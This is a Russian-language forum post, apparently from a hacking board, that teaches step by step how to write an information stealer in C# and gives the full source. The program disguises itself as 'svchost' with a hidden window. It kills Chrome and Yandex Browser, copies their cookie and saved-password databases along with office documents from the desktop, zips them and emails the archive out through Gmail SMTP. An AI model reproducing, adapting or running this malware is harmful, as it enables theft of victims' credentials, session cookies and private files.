kasatgrog
Местный
- Статус
- offline
- Регистрация
- 26.05.2016
- Сообщения
- 106
- Репутация
- 54
В этой статье я расскажу Вам, как написать свой стиллер на C#
Он будет с множеством детектов, но для начала пойдёт.
Для тех, кто не любит читать, я оставлю внизу весь код.
Итак, приступим!
Что нам понадобиться:
Он будет с множеством детектов, но для начала пойдёт.
Для тех, кто не любит читать, я оставлю внизу весь код.
Итак, приступим!
Что нам понадобиться:
- Visual Studio 2013
- Соединение с интернетом
- Внимательность
- Немножко прямые руки тоже не помешают
- Microsoft .NET Framework 4.5
- FormBorderStyle : None
- Text : Оставляем пустоту
- Enabled : False
- ShowIcon : False
- TopMost : False
- TransparencyKey : Кликаем > система > control
- CausesValidation : False
- SizeGripStyle : Hide
- Вначале нам понадобятся эти библиотеки :
-
Код:
using System; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; using System.IO.Compression; using System.Diagnostics; using System.Net; using System.Threading.Tasks; using System.Net.Mail; using System.Collections.Generic;
- Дальше обьявим пути до нужных нам файлов:
-
Код:
namespace svchost { public partial class Form1 : Form { public Form1() { InitializeComponent(); string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata% string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола
- Теперь отсеиваем, то что нам ненужно:
-
Код:
List<string> listFiles = new List<string>(); // пихаем файлы из массива в этот список foreach (string i in files) // пихаем { string extens = Path.GetExtension(i); // Делаем отсев по расширению if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls") { listFiles.Add(i); // пихаем } } List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь foreach(string i in listFiles) { names.Add(Path.GetFileName(i)); }
- Пока браузеры активны, до файлов нам недобраться, поэтому закрываем их:
-
Код:
foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром { i.Kill(); } foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс { i.Kill(); }
- Теперь создаем папку, куда мы скопируем все наши файлы
-
Код:
if (Directory.Exists(_path) == false) // проверка на наличие папки { DirectoryInfo dir = Directory.CreateDirectory(_path); } else { Directory.Delete(_path); // Удаление папки } for (int i = 0; i < listFiles.Count; i++ ) { if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный { File.Delete(Path.Combine(_path, names[i])); // удаление } File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование } try { File.Copy(Login_Data_Chrome, _path); // достаем пароли File.Copy(Login_Data_Yandex, _path); // пароли File.Copy(Chrome, _path);// куки File.Copy(Yandex, _path);//куки } catch { /// Кукишь тебе а не куки! }
- Теперь жмякаем в боковой панели по названию нашего проекта >> управление пакетами NuGet >> В поиске вбиваем DotNetZip и устанавливаем его
- Теперь создаем архив и архивируем нашу папку:
-
Код:
string pathToLogs = Path.Combine(localappdata, "logs.zip"); // создаем путь к будущему архиву using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим { if (File.Exists(pathToLogs)) { File.Delete(pathToLogs); // опять проверки, проверки, проверки } zip.AddDirectory(_path); // создаем архив zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression; zip.Save(Path.Combine(pathToLogs)); }
- И наконец-то отправляем этот архив себе на почту:
-
Код:
MailAddress from = new MailAddress("[email protected]", "Великий хакер"); // кому отправляем MailAddress to = new MailAddress("[email protected]"); // создаем объект сообщения MailMessage m = new MailMessage(from, to); // тема письма m.Subject = "Тест"; // текст письма m.Body = "<h1>Логи</h1>"; // письмо представляет код html m.IsBodyHtml = true; m.Attachments.Add(new Attachment(pathToLogs)); // адрес smtp-сервера и порт, с которого будем отправлять письмо SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587); // логин и пароль smtp.Credentials = new NetworkCredential("[email protected]", "your_password"); smtp.EnableSsl = true; smtp.Send(m);
-
Код:
using System; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; using System.IO.Compression; using System.Diagnostics; using System.Net; using System.Threading.Tasks; using System.Net.Mail; using System.Collections.Generic; namespace svchost { public partial class Form1 : Form { public Form1() { InitializeComponent(); string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata% string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола List<string> listFiles = new List<string>(); // пихаем их в этот список foreach (string i in files) // пихаем { string extens = Path.GetExtension(i); if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls") { listFiles.Add(i); // пихаем } } List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь foreach(string i in listFiles) { names.Add(Path.GetFileName(i)); } foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром { i.Kill(); } foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс { i.Kill(); } if (Directory.Exists(_path) == false) // проверка на наличие папки { DirectoryInfo dir = Directory.CreateDirectory(_path); } else { Directory.Delete(_path); // Удаление папки } for (int i = 0; i < listFiles.Count; i++ ) { if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный { File.Delete(Path.Combine(_path, names[i])); // удаление } File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование } try { File.Copy(Login_Data_Chrome, _path); // достаем пароли File.Copy(Login_Data_Yandex, _path); // пароли File.Copy(Chrome, _path);// куки File.Copy(Yandex, _path);//куки } catch { /// Кукишь тебе а не куки! } string pathToLogs = Path.Combine(localappdata, "logs.zip"); // создаем путь к будущему архиву using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим { if (File.Exists(pathToLogs)) { File.Delete(pathToLogs); // опять проверки, проверки, проверки } zip.AddDirectory(_path); // создаем архив zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression; zip.Save(Path.Combine(pathToLogs)); } //отправка на почту MailAddress from = new MailAddress("[email protected]", "Великий хакер"); // кому отправляем MailAddress to = new MailAddress("[email protected]"); // создаем объект сообщения MailMessage m = new MailMessage(from, to); // тема письма m.Subject = "Тест"; // текст письма m.Body = "<h1>Логи</h1>"; // письмо представляет код html m.IsBodyHtml = true; m.Attachments.Add(new Attachment(pathToLogs)); // адрес smtp-сервера и порт, с которого будем отправлять письмо SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587); // логин и пароль smtp.Credentials = new NetworkCredential("[email protected]", "your_password"); smtp.EnableSsl = true; smtp.Send(m); // вот и все } } }